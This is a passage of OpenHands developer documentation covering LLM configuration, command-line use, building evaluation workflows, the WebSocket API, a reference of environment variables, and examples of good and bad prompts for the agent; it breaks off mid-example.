-[llm] -# IMPORTANT: add your API key here, and set the model to the one you want to evaluate -model = "claude-3-5-sonnet-20241022" -api_key = "sk-XXX" - -[llm.eval_gpt4_1106_preview_llm] -model = "gpt-4-1106-preview" -api_key = "XXX" -temperature = 0.0 - -[llm.eval_some_openai_compatible_model_llm] -model = "openai/MODEL_NAME" -base_url = "https://OPENAI_COMPATIBLE_URL/v1" -api_key = "XXX" -temperature = 0.0 -``` - - -## How to use OpenHands in the command line - -OpenHands can be run from the command line using the following format: - -```bash -poetry run python ./openhands/core/main.py \ - -i \ - -t "" \ - -c \ - -l -``` - -For example: - -```bash -poetry run python ./openhands/core/main.py \ - -i 10 \ - -t "Write me a bash script that prints hello world." \ - -c CodeActAgent \ - -l llm -``` - -This command runs OpenHands with: -- A maximum of 10 iterations -- The specified task description -- Using the CodeActAgent -- With the LLM configuration defined in the `llm` section of your `config.toml` file - -## How does OpenHands work - -The main entry point for OpenHands is in `openhands/core/main.py`. Here's a simplified flow of how it works: - -1. Parse command-line arguments and load the configuration -2. Create a runtime environment using `create_runtime()` -3. Initialize the specified agent -4. Run the controller using `run_controller()`, which: - - Attaches the runtime to the agent - - Executes the agent's task - - Returns a final state when complete - -The `run_controller()` function is the core of OpenHands's execution. It manages the interaction between the agent, the runtime, and the task, handling things like user input simulation and event processing. - - -## Easiest way to get started: Exploring Existing Benchmarks - -We encourage you to review the various evaluation benchmarks available in the [`evaluation/benchmarks/` directory](https://github.com/OpenHands/benchmarks) of our repository. - -To integrate your own benchmark, we suggest starting with the one that most closely resembles your needs. This approach can significantly streamline your integration process, allowing you to build upon existing structures and adapt them to your specific requirements. - -## How to create an evaluation workflow - - -To create an evaluation workflow for your benchmark, follow these steps: - -1. Import relevant OpenHands utilities: - ```python - import openhands.agenthub - from evaluation.utils.shared import ( - EvalMetadata, - EvalOutput, - make_metadata, - prepare_dataset, - reset_logger_for_multiprocessing, - run_evaluation, - ) - from openhands.controller.state.state import State - from openhands.core.config import ( - AppConfig, - SandboxConfig, - get_llm_config_arg, - parse_arguments, - ) - from openhands.core.logger import openhands_logger as logger - from openhands.core.main import create_runtime, run_controller - from openhands.events.action import CmdRunAction - from openhands.events.observation import CmdOutputObservation, ErrorObservation - from openhands.runtime.runtime import Runtime - ``` - -2. Create a configuration: - ```python - def get_config(instance: pd.Series, metadata: EvalMetadata) -> AppConfig: - config = AppConfig( - default_agent=metadata.agent_class, - runtime='docker', - max_iterations=metadata.max_iterations, - sandbox=SandboxConfig( - base_container_image='your_container_image', - enable_auto_lint=True, - timeout=300, - ), - ) - config.set_llm_config(metadata.llm_config) - return config - ``` - -3. Initialize the runtime and set up the evaluation environment: - ```python - def initialize_runtime(runtime: Runtime, instance: pd.Series): - # Set up your evaluation environment here - # For example, setting environment variables, preparing files, etc. - pass - ``` - -4. Create a function to process each instance: - ```python - from openhands.utils.async_utils import call_async_from_sync - def process_instance(instance: pd.Series, metadata: EvalMetadata) -> EvalOutput: - config = get_config(instance, metadata) - runtime = create_runtime(config) - call_async_from_sync(runtime.connect) - initialize_runtime(runtime, instance) - - instruction = get_instruction(instance, metadata) - - state = run_controller( - config=config, - task_str=instruction, - runtime=runtime, - fake_user_response_fn=your_user_response_function, - ) - - # Evaluate the agent's actions - evaluation_result = await evaluate_agent_actions(runtime, instance) - - return EvalOutput( - instance_id=instance.instance_id, - instruction=instruction, - test_result=evaluation_result, - metadata=metadata, - history=compatibility_for_eval_history_pairs(state.history), - metrics=state.metrics.get() if state.metrics else None, - error=state.last_error if state and state.last_error else None, - ) - ``` - -5. Run the evaluation: - ```python - metadata = make_metadata(llm_config, dataset_name, agent_class, max_iterations, eval_note, eval_output_dir) - output_file = os.path.join(metadata.eval_output_dir, 'output.jsonl') - instances = prepare_dataset(your_dataset, output_file, eval_n_limit) - - await run_evaluation( - instances, - metadata, - output_file, - num_workers, - process_instance - ) - ``` - -This workflow sets up the configuration, initializes the runtime environment, processes each instance by running the agent and evaluating its actions, and then collects the results into an `EvalOutput` object. The `run_evaluation` function handles parallelization and progress tracking. - -Remember to customize the `get_instruction`, `your_user_response_function`, and `evaluate_agent_actions` functions according to your specific benchmark requirements. - -By following this structure, you can create a robust evaluation workflow for your benchmark within the OpenHands framework. - - -## Understanding the `user_response_fn` - -The `user_response_fn` is a crucial component in OpenHands's evaluation workflow. It simulates user interaction with the agent, allowing for automated responses during the evaluation process. This function is particularly useful when you want to provide consistent, predefined responses to the agent's queries or actions. - - -### Workflow and Interaction - -The correct workflow for handling actions and the `user_response_fn` is as follows: - -1. Agent receives a task and starts processing -2. Agent emits an Action -3. If the Action is executable (e.g., CmdRunAction, IPythonRunCellAction): - - The Runtime processes the Action - - Runtime returns an Observation -4. If the Action is not executable (typically a MessageAction): - - The `user_response_fn` is called - - It returns a simulated user response -5. The agent receives either the Observation or the simulated response -6. Steps 2-5 repeat until the task is completed or max iterations are reached - -Here's a more accurate visual representation: - -``` - [Agent] - | - v - [Emit Action] - | - v - [Is Action Executable?] - / \ - Yes No - | | - v v - [Runtime] [user_response_fn] - | | - v v - [Return Observation] [Simulated Response] - \ / - \ / - v v - [Agent receives feedback] - | - v - [Continue or Complete Task] -``` - -In this workflow: - -- Executable actions (like running commands or executing code) are handled directly by the Runtime -- Non-executable actions (typically when the agent wants to communicate or ask for clarification) are handled by the `user_response_fn` -- The agent then processes the feedback, whether it's an Observation from the Runtime or a simulated response from the `user_response_fn` - -This approach allows for automated handling of both concrete actions and simulated user interactions, making it suitable for evaluation scenarios where you want to test the agent's ability to complete tasks with minimal human intervention. - -### Example Implementation - -Here's an example of a `user_response_fn` used in the SWE-Bench evaluation: - -```python -def codeact_user_response(state: State | None) -> str: - msg = ( - 'Please continue working on the task on whatever approach you think is suitable.\n' - 'If you think you have solved the task, please first send your answer to user through message and then exit .\n' - 'IMPORTANT: YOU SHOULD NEVER ASK FOR HUMAN HELP.\n' - ) - - if state and state.history: - # check if the agent has tried to talk to the user 3 times, if so, let the agent know it can give up - user_msgs = [ - event - for event in state.history - if isinstance(event, MessageAction) and event.source == 'user' - ] - if len(user_msgs) >= 2: - # let the agent know that it can give up when it has tried 3 times - return ( - msg - + 'If you want to give up, run: exit .\n' - ) - return msg -``` - -This function does the following: - -1. Provides a standard message encouraging the agent to continue working -2. Checks how many times the agent has attempted to communicate with the user -3. If the agent has made multiple attempts, it provides an option to give up - -By using this function, you can ensure consistent behavior across multiple evaluation runs and prevent the agent from getting stuck waiting for human input. - -### WebSocket Connection -Source: https://docs.openhands.dev/openhands/usage/developers/websocket-connection.md - -This guide explains how to connect to the OpenHands WebSocket API to receive real-time events and send actions to the agent. - -## Overview - -OpenHands uses [Socket.IO](https://socket.io/) for WebSocket communication between the client and server. The WebSocket connection allows you to: - -1. Receive real-time events from the agent -2. Send user actions to the agent -3. Maintain a persistent connection for ongoing conversations - -## Connecting to the WebSocket - -### Connection Parameters - -When connecting to the WebSocket, you need to provide the following query parameters: - -- `conversation_id`: The ID of the conversation you want to join -- `latest_event_id`: The ID of the latest event you've received (use `-1` for a new connection) -- `providers_set`: (Optional) A comma-separated list of provider types - -### Connection Example - -Here's a basic example of connecting to the WebSocket using JavaScript: - -```javascript -import { io } from "socket.io-client"; - -const socket = io("http://localhost:3000", { - transports: ["websocket"], - query: { - conversation_id: "your-conversation-id", - latest_event_id: -1, - providers_set: "github,gitlab" // Optional - } -}); - -socket.on("connect", () => { - console.log("Connected to OpenHands WebSocket"); -}); - -socket.on("oh_event", (event) => { - console.log("Received event:", event); -}); - -socket.on("connect_error", (error) => { - console.error("Connection error:", error); -}); - -socket.on("disconnect", (reason) => { - console.log("Disconnected:", reason); -}); -``` - -## Sending Actions to the Agent - -To send an action to the agent, use the `oh_user_action` event: - -```javascript -// Send a user message to the agent -socket.emit("oh_user_action", { - type: "message", - source: "user", - message: "Hello, can you help me with my project?" -}); -``` - -## Receiving Events from the Agent - -The server emits events using the `oh_event` event type. Here are some common event types you might receive: - -- User messages (`source: "user", type: "message"`) -- Agent messages (`source: "agent", type: "message"`) -- File edits (`action: "edit"`) -- File writes (`action: "write"`) -- Command executions (`action: "run"`) - -Example event handler: - -```javascript -socket.on("oh_event", (event) => { - if (event.source === "agent" && event.type === "message") { - console.log("Agent says:", event.message); - } else if (event.action === "run") { - console.log("Command executed:", event.args.command); - console.log("Result:", event.result); - } -}); -``` - -## Using Websocat for Testing - -[Websocat](https://github.com/vi/websocat) is a command-line tool for interacting with WebSockets. It's useful for testing your WebSocket connection without writing a full client application. - -### Installation - -```bash -# On macOS -brew install websocat - -# On Linux -curl -L https://github.com/vi/websocat/releases/download/v1.11.0/websocat.x86_64-unknown-linux-musl > websocat -chmod +x websocat -sudo mv websocat /usr/local/bin/ -``` - -### Connecting to the WebSocket - -```bash -# Connect to the WebSocket and print all received messages -echo "40{}" | \ -websocat "ws://localhost:3000/socket.io/?EIO=4&transport=websocket&conversation_id=your-conversation-id&latest_event_id=-1" -``` - -### Sending a Message - -```bash -# Send a message to the agent -echo '42["oh_user_action",{"type":"message","source":"user","message":"Hello, agent!"}]' | \ -websocat "ws://localhost:3000/socket.io/?EIO=4&transport=websocket&conversation_id=your-conversation-id&latest_event_id=-1" -``` - -### Complete Example with Websocat - -Here's a complete example of connecting to the WebSocket, sending a message, and receiving events: - -```bash -# Start a persistent connection -websocat -v "ws://localhost:3000/socket.io/?EIO=4&transport=websocket&conversation_id=your-conversation-id&latest_event_id=-1" - -# In another terminal, send a message -echo '42["oh_user_action",{"type":"message","source":"user","message":"Can you help me with my project?"}]' | \ -websocat "ws://localhost:3000/socket.io/?EIO=4&transport=websocket&conversation_id=your-conversation-id&latest_event_id=-1" -``` - -## Event Structure - -Events sent and received through the WebSocket follow a specific structure: - -```typescript -interface OpenHandsEvent { - id: string; // Unique event ID - source: string; // "user" or "agent" - timestamp: string; // ISO timestamp - message?: string; // For message events - type?: string; // Event type (e.g., "message") - action?: string; // Action type (e.g., "run", "edit", "write") - args?: any; // Action arguments - result?: any; // Action result -} -``` - -## Best Practices - -1. **Handle Reconnection**: Implement reconnection logic in your client to handle network interruptions. -2. **Track Event IDs**: Store the latest event ID you've received and use it when reconnecting to avoid duplicate events. -3. **Error Handling**: Implement proper error handling for connection errors and failed actions. -4. **Rate Limiting**: Avoid sending too many actions in a short period to prevent overloading the server. - -## Troubleshooting - -### Connection Issues - -- Verify that the OpenHands server is running and accessible -- Check that you're providing the correct conversation ID -- Ensure your WebSocket URL is correctly formatted - -### Authentication Issues - -- Make sure you have the necessary authentication cookies if required -- Verify that you have permission to access the specified conversation - -### Event Handling Issues - -- Check that you're correctly parsing the event data -- Verify that your event handlers are properly registered - -### Environment Variables Reference -Source: https://docs.openhands.dev/openhands/usage/environment-variables.md - -This page provides a reference of environment variables that can be used to configure OpenHands. Environment variables provide an alternative to TOML configuration files and are particularly useful for containerized deployments, CI/CD pipelines, and cloud environments. - -## Environment Variable Naming Convention - -OpenHands follows a consistent naming pattern for environment variables: - -- **Core settings**: Direct uppercase mapping (e.g., `debug` → `DEBUG`) -- **LLM settings**: Prefixed with `LLM_` (e.g., `model` → `LLM_MODEL`) -- **Agent settings**: Prefixed with `AGENT_` (e.g., `enable_browsing` → `AGENT_ENABLE_BROWSING`) -- **Sandbox settings**: Prefixed with `SANDBOX_` (e.g., `timeout` → `SANDBOX_TIMEOUT`) -- **Security settings**: Prefixed with `SECURITY_` (e.g., `confirmation_mode` → `SECURITY_CONFIRMATION_MODE`) - -## Core Configuration Variables - -These variables correspond to the `[core]` section in `config.toml`: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `DEBUG` | boolean | `false` | Enable debug logging throughout the application | -| `DISABLE_COLOR` | boolean | `false` | Disable colored output in terminal | -| `CACHE_DIR` | string | `"/tmp/cache"` | Directory path for caching | -| `SAVE_TRAJECTORY_PATH` | string | `"./trajectories"` | Path to store conversation trajectories | -| `REPLAY_TRAJECTORY_PATH` | string | `""` | Path to load and replay a trajectory file | -| `FILE_STORE_PATH` | string | `"/tmp/file_store"` | File store directory path | -| `FILE_STORE` | string | `"memory"` | File store type (`memory`, `local`, etc.) | -| `FILE_UPLOADS_MAX_FILE_SIZE_MB` | integer | `0` | Maximum file upload size in MB (0 = no limit) | -| `FILE_UPLOADS_RESTRICT_FILE_TYPES` | boolean | `false` | Whether to restrict file upload types | -| `FILE_UPLOADS_ALLOWED_EXTENSIONS` | list | `[".*"]` | List of allowed file extensions for uploads | -| `MAX_BUDGET_PER_TASK` | float | `0.0` | Maximum budget per task (0.0 = no limit) | -| `MAX_ITERATIONS` | integer | `100` | Maximum number of iterations per task | -| `RUNTIME` | string | `"docker"` | Runtime environment (`docker`, `local`, `cli`, etc.) | -| `DEFAULT_AGENT` | string | `"CodeActAgent"` | Default agent class to use | -| `JWT_SECRET` | string | auto-generated | JWT secret for authentication | -| `RUN_AS_OPENHANDS` | boolean | `true` | Whether to run as the openhands user | -| `VOLUMES` | string | `""` | Volume mounts in format `host:container[:mode]` | - -## LLM Configuration Variables - -These variables correspond to the `[llm]` section in `config.toml`: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `LLM_MODEL` | string | `"claude-3-5-sonnet-20241022"` | LLM model to use | -| `LLM_API_KEY` | string | `""` | API key for the LLM provider | -| `LLM_BASE_URL` | string | `""` | Custom API base URL | -| `LLM_API_VERSION` | string | `""` | API version to use | -| `LLM_TEMPERATURE` | float | `0.0` | Sampling temperature | -| `LLM_TOP_P` | float | `1.0` | Top-p sampling parameter | -| `LLM_MAX_INPUT_TOKENS` | integer | `0` | Maximum input tokens (0 = no limit) | -| `LLM_MAX_OUTPUT_TOKENS` | integer | `0` | Maximum output tokens (0 = no limit) | -| `LLM_MAX_MESSAGE_CHARS` | integer | `30000` | Maximum characters that will be sent to the model in observation content | -| `LLM_TIMEOUT` | integer | `0` | API timeout in seconds (0 = no timeout) | -| `LLM_NUM_RETRIES` | integer | `8` | Number of retry attempts | -| `LLM_RETRY_MIN_WAIT` | integer | `15` | Minimum wait time between retries (seconds) | -| `LLM_RETRY_MAX_WAIT` | integer | `120` | Maximum wait time between retries (seconds) | -| `LLM_RETRY_MULTIPLIER` | float | `2.0` | Exponential backoff multiplier | -| `LLM_DROP_PARAMS` | boolean | `false` | Drop unsupported parameters without error | -| `LLM_CACHING_PROMPT` | boolean | `true` | Enable prompt caching if supported | -| `LLM_DISABLE_VISION` | boolean | `false` | Disable vision capabilities for cost reduction | -| `LLM_CUSTOM_LLM_PROVIDER` | string | `""` | Custom LLM provider name | -| `LLM_OLLAMA_BASE_URL` | string | `""` | Base URL for Ollama API | -| `LLM_INPUT_COST_PER_TOKEN` | float | `0.0` | Cost per input token | -| `LLM_OUTPUT_COST_PER_TOKEN` | float | `0.0` | Cost per output token | -| `LLM_REASONING_EFFORT` | string | `""` | Reasoning effort for o-series models (`low`, `medium`, `high`) | - -### AWS Configuration -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `LLM_AWS_ACCESS_KEY_ID` | string | `""` | AWS access key ID | -| `LLM_AWS_SECRET_ACCESS_KEY` | string | `""` | AWS secret access key | -| `LLM_AWS_REGION_NAME` | string | `""` | AWS region name | - -## Agent Configuration Variables - -These variables correspond to the `[agent]` section in `config.toml`: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `AGENT_LLM_CONFIG` | string | `""` | Name of LLM config group to use | -| `AGENT_FUNCTION_CALLING` | boolean | `true` | Enable function calling | -| `AGENT_ENABLE_BROWSING` | boolean | `false` | Enable browsing delegate | -| `AGENT_ENABLE_LLM_EDITOR` | boolean | `false` | Enable LLM-based editor | -| `AGENT_ENABLE_JUPYTER` | boolean | `false` | Enable Jupyter integration | -| `AGENT_ENABLE_HISTORY_TRUNCATION` | boolean | `true` | Enable history truncation | -| `AGENT_ENABLE_PROMPT_EXTENSIONS` | boolean | `true` | Enable skills (formerly known as microagents) (prompt extensions) | -| `AGENT_DISABLED_MICROAGENTS` | list | `[]` | List of skills to disable | - -## Sandbox Configuration Variables - -These variables correspond to the `[sandbox]` section in `config.toml`: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `SANDBOX_TIMEOUT` | integer | `120` | Sandbox timeout in seconds | -| `SANDBOX_USER_ID` | integer | `1000` | User ID for sandbox processes | -| `SANDBOX_BASE_CONTAINER_IMAGE` | string | `"nikolaik/python-nodejs:python3.12-nodejs22"` | Base container image | -| `SANDBOX_USE_HOST_NETWORK` | boolean | `false` | Use host networking | -| `SANDBOX_RUNTIME_BINDING_ADDRESS` | string | `"0.0.0.0"` | Runtime binding address | -| `SANDBOX_ENABLE_AUTO_LINT` | boolean | `false` | Enable automatic linting | -| `SANDBOX_INITIALIZE_PLUGINS` | boolean | `true` | Initialize sandbox plugins | -| `SANDBOX_RUNTIME_EXTRA_DEPS` | string | `""` | Extra dependencies to install | -| `SANDBOX_RUNTIME_STARTUP_ENV_VARS` | dict | `{}` | Environment variables for runtime | -| `SANDBOX_BROWSERGYM_EVAL_ENV` | string | `""` | BrowserGym evaluation environment | -| `SANDBOX_VOLUMES` | string | `""` | Volume mounts (replaces deprecated workspace settings) | -| `AGENT_SERVER_IMAGE_REPOSITORY` | string | `""` | Runtime container image repository (e.g., `ghcr.io/openhands/agent-server`) | -| `AGENT_SERVER_IMAGE_TAG` | string | `""` | Runtime container image tag (e.g., `1.26.0-python`) | -| `SANDBOX_KEEP_RUNTIME_ALIVE` | boolean | `false` | Keep runtime alive after session ends | -| `SANDBOX_PAUSE_CLOSED_RUNTIMES` | boolean | `false` | Pause instead of stopping closed runtimes | -| `SANDBOX_CLOSE_DELAY` | integer | `300` | Delay before closing idle runtimes (seconds) | -| `SANDBOX_RM_ALL_CONTAINERS` | boolean | `false` | Remove all containers when stopping | -| `SANDBOX_ENABLE_GPU` | boolean | `false` | Enable GPU support | -| `SANDBOX_CUDA_VISIBLE_DEVICES` | string | `""` | Specify GPU devices by ID | -| `SANDBOX_VSCODE_PORT` | integer | auto | Specific port for VSCode server | - -### Sandbox Environment Variables -Variables prefixed with `SANDBOX_ENV_` are passed through to the sandbox environment: - -| Environment Variable | Description | -|---------------------|-------------| -| `SANDBOX_ENV_*` | Any variable with this prefix is passed to the sandbox (e.g., `SANDBOX_ENV_OPENAI_API_KEY`) | - -## Security Configuration Variables - -These variables correspond to the `[security]` section in `config.toml`: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `SECURITY_CONFIRMATION_MODE` | boolean | `false` | Enable confirmation mode for actions | -| `SECURITY_SECURITY_ANALYZER` | string | `"llm"` | Security analyzer to use (`llm`, `invariant`) | -| `SECURITY_ENABLE_SECURITY_ANALYZER` | boolean | `true` | Enable security analysis | - -## Debug and Logging Variables - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `DEBUG` | boolean | `false` | Enable general debug logging | -| `DEBUG_LLM` | boolean | `false` | Enable LLM-specific debug logging | -| `DEBUG_RUNTIME` | boolean | `false` | Enable runtime debug logging | -| `LOG_TO_FILE` | boolean | auto | Log to file (auto-enabled when DEBUG=true) | - -## Runtime-Specific Variables - -### Docker Runtime -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `SANDBOX_VOLUME_OVERLAYS` | string | `""` | Volume overlay configurations | - -### Docker Conversation Runtime (Canvas) - -When running Agent Canvas locally via the `dev-safe.mjs` launcher, Canvas can forward conversation-runtime settings to its bundled Agent Server. This enables `OH_CONVERSATION_RUNTIME=docker`, which runs each conversation in an isolated Docker container instead of the default local process runtime. - -Canvas forwards these settings only when the operator explicitly sets them. Unset values remain absent so Agent Server defaults stay authoritative. - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `OH_CONVERSATION_RUNTIME` | string | unset | Conversation runtime type. Set to `docker` to run conversations in Docker containers. | -| `OH_CONVERSATION_IMAGE` | string | unset | Docker image to use for conversation containers. | -| `OH_CONVERSATION_CONTAINER_MEMORY` | string | unset | Memory limit for conversation containers (e.g., `2g`). | -| `OH_CONVERSATION_CONTAINER_CPUS` | string | unset | CPU limit for conversation containers. | -| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | string | unset | PID limit for conversation containers. | -| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | string | unset | Startup timeout for conversation containers (seconds). | - -These variables are specific to Canvas's `dev-safe.mjs` launcher and are forwarded to the bundled Agent Server process. Docker provisioning and setting interpretation are handled by Agent Server. - -### Remote Runtime -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `SANDBOX_API_KEY` | string | `""` | API key for remote runtime | -| `SANDBOX_REMOTE_RUNTIME_API_URL` | string | `""` | Remote runtime API URL | - -### Local Runtime -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `RUNTIME_URL` | string | `""` | Runtime URL for local runtime | -| `RUNTIME_URL_PATTERN` | string | `""` | Runtime URL pattern | -| `RUNTIME_ID` | string | `""` | Runtime identifier | -| `LOCAL_RUNTIME_MODE` | string | `""` | Enable local runtime mode (`1` to enable) | - -## Integration Variables - -### Git Provider Access -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `ALLOW_INSECURE_GIT_ACCESS` | boolean | `false` | Allow OpenHands to connect to git providers over plain HTTP. Set this only for trusted local or internal git providers (such as Gitea/Forgejo) where HTTPS is not available. | - - - `ALLOW_INSECURE_GIT_ACCESS=true` permits insecure HTTP connections to git providers. Only enable it for trusted local or internal networks that you control. Do not use it for public or untrusted git providers. - - -When running OpenHands with Docker, set this on the OpenHands server container: - -```bash -docker run -e ALLOW_INSECURE_GIT_ACCESS=true openhands/openhands -``` - -### GitHub Integration -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `GITHUB_TOKEN` | string | `""` | GitHub personal access token | - -### Third-Party API Keys -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `OPENAI_API_KEY` | string | `""` | OpenAI API key | -| `ANTHROPIC_API_KEY` | string | `""` | Anthropic API key | -| `GOOGLE_API_KEY` | string | `""` | Google API key | -| `AZURE_API_KEY` | string | `""` | Azure API key | -| `TAVILY_API_KEY` | string | `""` | Tavily search API key | - -## Server Configuration Variables - -These are primarily used when running OpenHands as a server: - -| Environment Variable | Type | Default | Description | -|---------------------|------|---------|-------------| -| `FRONTEND_PORT` | integer | `3000` | Frontend server port | -| `BACKEND_PORT` | integer | `8000` | Backend server port | -| `FRONTEND_HOST` | string | `"localhost"` | Frontend host address | -| `BACKEND_HOST` | string | `"localhost"` | Backend host address | -| `WEB_HOST` | string | `"localhost"` | Web server host | -| `SERVE_FRONTEND` | boolean | `true` | Whether to serve frontend | - -## Deprecated Variables - -These variables are deprecated and should be replaced: - -| Environment Variable | Replacement | Description | -|---------------------|-------------|-------------| -| `WORKSPACE_BASE` | `SANDBOX_VOLUMES` | Use volume mounting instead | -| `WORKSPACE_MOUNT_PATH` | `SANDBOX_VOLUMES` | Use volume mounting instead | -| `WORKSPACE_MOUNT_PATH_IN_SANDBOX` | `SANDBOX_VOLUMES` | Use volume mounting instead | -| `WORKSPACE_MOUNT_REWRITE` | `SANDBOX_VOLUMES` | Use volume mounting instead | - -## Usage Examples - -### Basic Setup with OpenAI -```bash -export LLM_MODEL="gpt-4o" -export LLM_API_KEY="your-openai-api-key" -export DEBUG=true -``` - -### Docker Deployment with Custom Volumes -```bash -export RUNTIME="docker" -export SANDBOX_VOLUMES="/host/workspace:/workspace:rw,/host/data:/data:ro" -export SANDBOX_TIMEOUT=300 -``` - -### Remote Runtime Configuration -```bash -export RUNTIME="remote" -export SANDBOX_API_KEY="your-remote-api-key" -export SANDBOX_REMOTE_RUNTIME_API_URL="https://your-runtime-api.com" -``` - -### Security-Enhanced Setup -```bash -export SECURITY_CONFIRMATION_MODE=true -export SECURITY_SECURITY_ANALYZER="llm" -export DEBUG_RUNTIME=true -``` - -## Notes - -1. **Boolean Values**: Environment variables expecting boolean values accept `true`/`false`, `1`/`0`, or `yes`/`no` (case-insensitive). - -2. **List Values**: Lists should be provided as Python literal strings, e.g., `AGENT_DISABLED_MICROAGENTS='["skill1", "skill2"]'`. - -3. **Dictionary Values**: Dictionaries should be provided as Python literal strings, e.g., `SANDBOX_RUNTIME_STARTUP_ENV_VARS='{"KEY": "value"}'`. - -4. **Precedence**: Environment variables take precedence over TOML configuration files. - -5. **Docker Usage**: When using Docker, pass environment variables with the `-e` flag: - ```bash - docker run -e LLM_API_KEY="your-key" -e DEBUG=true openhands/openhands - ``` - -6. **Validation**: Invalid environment variable values will be logged as errors and fall back to defaults. - -### Good vs. Bad Instructions -Source: https://docs.openhands.dev/openhands/usage/essential-guidelines/good-vs-bad-instructions.md - -The quality of your instructions directly impacts the quality of OpenHands' output. This guide shows concrete examples of good and bad prompts, explains why some work better than others, and provides principles for writing effective instructions. - -## Concrete Examples of Good/Bad Prompts - -### Bug Fixing Examples - -#### Bad Example - -``` -Fix the bug in my code. -``` - -**Why it's bad:** -- No information about what the bug is -- No indication of where to look -- No description of expected vs. actual behavior -- OpenHands would have to guess what's wrong - -#### Good Example - -``` -Fix the TypeError in src/api/users.py line 45. - -Error message: -TypeError: 'NoneType' object has no attribute 'get' - -Expected behavior: The get_user_preferences() function should return -default preferences when the user has no saved preferences. - -Actual behavior: It crashes with the error above when user.preferences is None. - -The fix should handle the None case gracefully and return DEFAULT_PREFERENCES. -``` - -**Why it works:** -- Specific file and line number -- Exact error message -- Clear expected vs. actual behavior -- Suggested approach for the fix - -### Feature Development Examples - -#### Bad Example - -``` -Add user authentication to my app. -``` - -**Why it's bad:** -- Scope is too large and undefined -- No details about authentication requirements -- No mention of existing code or patterns -- Could mean many different things - -#### Good Example - -``` -Add email/password login to our Express.js API. - -Requirements: -1. POST /api/auth/login endpoint -2. Accept email and password in request body -3. Validate against users in PostgreSQL database -4. Return JWT token on success, 401 on failure -5. Use bcrypt for password comparison (already in dependencies) - -Follow the existing patterns in src/api/routes.js for route structure. -Use the existing db.query() helper in src/db/index.js for database access. - -Success criteria: I can call the endpoint with valid credentials -and receive a JWT token that works with our existing auth middleware. -``` - -**Why it works:** -- Specific, scoped feature -- Clear technical requirements -- Points to existing patterns to follow -- Defines what "done" looks like - -### Code Review Examples - -#### Bad Example - -``` -Review my code. -``` - -**Why it's bad:** -- No code provided or referenced -- No indication of what to look for -- No context about the code's purpose -- No criteria for the review - -#### Good Example - -``` -Review this pull request for our payment processing module: - -Focus areas: -1. Security - we're handling credit card data -2. Error handling - payments must never silently fail -3. Idempotency - duplicate requests should be safe - -Context: -- This integrates with Stripe API -- It's called from our checkout flow -- We have ~10,000 transactions/day - -Please flag any issues as Critical/Major/Minor with explanations. -``` - -**Why it works:** -- Clear scope and focus areas -- Important context provided -- Business implications explained -- Requested output format specified - -### Refactoring Examples - -#### Bad Example - -``` -Make the code better. -``` - -**Why it's bad:** -- "Better" is subjective and undefined -- No specific problems identified -- No goals for the refactoring -- No constraints or requirements - -#### Good Example - -``` -Refactor the UserService class in src/services/user.js: - -Problems to address: -1. The class is 500+ lines - split into smaller, focused services -2. Database queries are mixed with business logic - separate them -3. There's code duplication in the validation methods - -Constraints: -- Keep the public API unchanged (other code depends on it) -- Maintain test coverage (run npm test after changes) -- Follow our existing service patterns in src/services/ - -Goal: Improve maintainability while keeping the same functionality. -``` - -**Why it works:** -- Specific problems identified -- Clear constraints and requirements -- Points to patterns to follow -- Measurable success criteria - -## Key Principles for Effective Instructions - -### Be Specific - -Vague instructions produce vague results. Be concrete about: - -| Instead of... | Say... | -|---------------|--------| -| "Fix the error" | "Fix the TypeError on line 45 of api.py" | -| "Add tests" | "Add unit tests for the calculateTotal function covering edge cases" | -| "Improve performance" | "Reduce the database queries from N+1 to a single join query" | -| "Clean up the code" | "Extract the validation logic into a separate ValidatorService class" | - -### Provide Context - -Help OpenHands understand the bigger picture: - -``` -Context to include: -- What does this code do? (purpose) -- Who uses it? (users/systems) -- Why does this matter? (business impact) -- What constraints exist? (performance, compatibility) -- What patterns should be followed? (existing conventions) -``` - -**Example with context:** - -``` -Add rate limiting to our public API endpoints. - -Context: -- This is a REST API serving mobile apps and third-party integrations -- We've been seeing abuse from web scrapers hitting us 1000+ times/minute -- Our infrastructure can handle 100 req/sec per client sustainably -- We use Redis (already available in the project) -- Our API follows the controller pattern in src/controllers/ - -Requirement: Limit each API key to 100 requests per minute with -appropriate 429 responses and Retry-After headers. -``` - -### Set Clear Goals - -Define what success looks like: - -``` -Success criteria checklist: -✓ What specific outcome do you want? -✓ How will you verify it worked? -✓ What tests should pass? -✓ What should the user experience be? -``` - -**Example with clear goals:** - -``` -Implement password reset functionality. - -Success criteria: -1. User can request reset via POST /api/auth/forgot-password -2. System sends email with secure reset link -3. Link expires after 1 hour -4. User can set new password via POST /api/auth/reset-password -5. Old sessions are invalidated after password change -6. All edge cases return appropriate error messages -7. Existing tests still pass, new tests cover the feature -``` - -### Include Constraints - -Specify what you can't or won't change: - -``` -Constraints to specify: -- API compatibility (can't break existing clients) -- Technology restrictions (must use existing stack) -- Performance requirements (must respond in <100ms) -- Security requirements (must not log PII) -- Time/scope limits (just this one file) -``` - -## Common Pitfalls to Avoid - -### Vague Requirements - - - - ``` - Make the dashboard faster. - ``` - - - ``` - The dashboard takes 5 seconds to load. - - Profile it and optimize to load in under 1 second. - - Likely issues: - - N+1 queries in getWidgetData() - - Uncompressed images - - Missing database indexes - - Focus on the biggest wins first. - ``` - - - -### Missing Context - - - - ``` - Add caching to the API. - ``` - - - ``` - Add caching to the product catalog API. - - Context: - - 95% of requests are for the same 1000 products - - Product data changes only via admin panel (rare) - - We already have Redis running for sessions - - Current response time is 200ms, target is <50ms - - Cache strategy: 